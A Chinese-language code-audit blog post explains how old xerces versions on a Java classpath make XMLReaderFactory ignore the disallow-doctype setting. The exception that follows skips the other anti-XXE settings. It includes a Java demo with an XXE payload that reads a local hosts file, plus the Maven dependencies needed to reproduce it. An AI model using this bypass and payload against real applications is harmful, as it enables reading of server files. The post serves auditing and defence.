关于漏洞
这个漏洞是我最近在做代码审计时发现的,代码中处理传入的 XML 代码时使用了 XMLReaderFactory.createXMLReader()
,并且在 classpath 下有 xerces 2.2.1 及以下版本时就会无视禁止 Doctype 的 Feature。XMLReaderFactory 是 JDK 的一个 XML 处理工厂类,xerces 是 Apache 的一个 XML 解析库。
漏洞分析
首先附上一段做过了 XXE 防护的 Demo
package xml;import org.xml.sax.*;import org.xml.sax.helpers.DefaultHandler;import org.xml.sax.helpers.XMLReaderFactory;import java.io.IOException;import java.io.StringBufferInputStream;import java.util.HashMap;import java.util.HashSet;import java.util.Map;import java.util.Set;/*** @author 浅蓝* @email blue@ixsec.org* @since 2020/6/12 19:41*/public class XXE {public static void main(String[] args) throws IOException, SAXException {XMLReader xmlReader = null;try {xmlReader = XMLReaderFactory.createXMLReader();xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);xmlReader.setFeature("http://xml.org/sax/features/external-parameter-entities",false);xmlReader.setFeature("http://xml.org/sax/features/external-general-entities",false);} catch (SAXNotSupportedException e) {e.printStackTrace();} catch (SAXNotRecognizedException e) {e.printStackTrace();} catch (SAXException e) {e.printStackTrace();}MyHandler myHandler = new MyHandler();xmlReader.setContentHandler(myHandler);System.out.println(xmlReader.getClass());xmlReader.parse(new InputSource(new StringBufferInputStream("<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" +"<!DOCTYPE root [\n" +" <!ENTITY xxe SYSTEM \"file:///c:/windows/system32/drivers/etc/hosts\">\n" +" ]>\n" +"<evil>&xxe;</evil>")));}}class MyHandler extends DefaultHandler{String key,value;Map<String,String> map=new HashMap<String,String>();Set<String> must=new HashSet<String>();public void startDocument() throws SAXException {}public void startElement(String uri, String localName, String rawName, Attributes attlist)throws SAXException {key=localName;}public void characters(char[] ch, int start, int length) {System.out.println(new String(ch, start, length));value = new String(ch, start, length);}public void endElement(String uri, String localName, String rawName) throws SAXException {map.put(key,value);}public void endDocument() throws SAXException{}Map<String,String> getMap(){ return map;}}
当使用了正常的 XMLReaderFactory 去创建一个 XMLReader 解析 XXE 代码,就会抛出不允许使用 DOCTYPE 的异常。

首先跟进工厂类的 createXMLReader 观察是如何创建 XMLReader 对象的。
public static XMLReader createXMLReader ()throws SAXException{String className = null;ClassLoader cl = ss.getContextClassLoader();// 1. try the JVM-instance-wide system propertytry {className = ss.getSystemProperty(property);}catch (RuntimeException e) { /* continue searching */ }// 2. if that fails, try META-INF/services/if (className == null) {if (!_jarread) {_jarread = true;String service = "META-INF/services/" + property;InputStream in;BufferedReader reader;try {if (cl != null) {in = ss.getResourceAsStream(cl, service);// If no provider found then try the current ClassLoaderif (in == null) {cl = null;in = ss.getResourceAsStream(cl, service);}} else {// No Context ClassLoader, try the current ClassLoaderin = ss.getResourceAsStream(cl, service);}if (in != null) {reader = new BufferedReader (new InputStreamReader (in, "UTF8"));_clsFromJar = reader.readLine ();in.close ();}} catch (Exception e) {}}className = _clsFromJar;}// 3. Distro-specific fallbackif (className == null) {// BEGIN DISTRIBUTION-SPECIFIC// EXAMPLE:// className = "com.example.sax.XmlReader";// or a $JAVA_HOME/jre/lib/*properties setting...className = "com.sun.org.apache.xerces.internal.parsers.SAXParser";// END DISTRIBUTION-SPECIFIC}// do we know the XMLReader implementation class yet?if (className != null)return loadClass (cl, className);// 4. panic -- adapt any SAX1 parsertry {return new ParserAdapter (ParserFactory.makeParser ());} catch (Exception e) {throw new SAXException ("Can't create default XMLReader; "+ "is system property org.xml.sax.driver set?");}}
大概流程如下
•如果系统变量里有 org.xml.sax.driver
就将其值作为类名实例化•如果当前 classpath 下有 META-INF/services/org.xml.sax.driver
文件就拿文件第一行的内容作为类名实例化•如果以上两种情况都不满足则默认将 JDK 的com.sun.org.apache.xerces.internal.parsers.SAXParser
类实例化
一般默认获取的对象都是第三种。
而我发现的绕过方法是基于第二步,从 classpath 下获取 META-INF/services/org.xml.sax.driver
中的类名。
经过测试我发现当程序使用了 xerces 2.2.1 版本再设置禁止 doctype 时会抛出异常。
xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);xmlReader.setFeature("http://xml.org/sax/features/external-parameter-entities",false);xmlReader.setFeature("http://xml.org/sax/features/external-general-entities",false);
大多数情况下,在做 XXE 防护时第一个设置的就是 doctype,而当使用了 xerces 的时候设置禁止使用 doctype 会抛出异常,导致 try 代码块中的其他部分 setFeature 都无法执行,从而可以绕过 XXE 的防护,进行 XXE 攻击。即使 doctype 不是第一个设置的,也是可以进行 XXE DOS 攻击的。
漏洞复现
<!-- https://mvnrepository.com/artifact/xerces/xerces --><dependency><groupId>xerces</groupId><artifactId>xerces</artifactId><version>2.2.1</version></dependency>
<!-- https://mvnrepository.com/artifact/commons-jelly/commons-jelly --><dependency><groupId>commons-jelly</groupId><artifactId>commons-jelly</artifactId><version>1.0.1</version></dependency>
使用 maven 导入以上两个库中的的任意一个。
一般 commons-jelly 用的比较多,还是最新版本。

工厂类创建 XMLReader 时,获取的是 xerces 的类。

在 XXE 防护失效后成功读取本地文件。
总结
所以以后再做代码审计时,不要看到设置了禁止使用 Doctype 时就觉得没漏洞了。




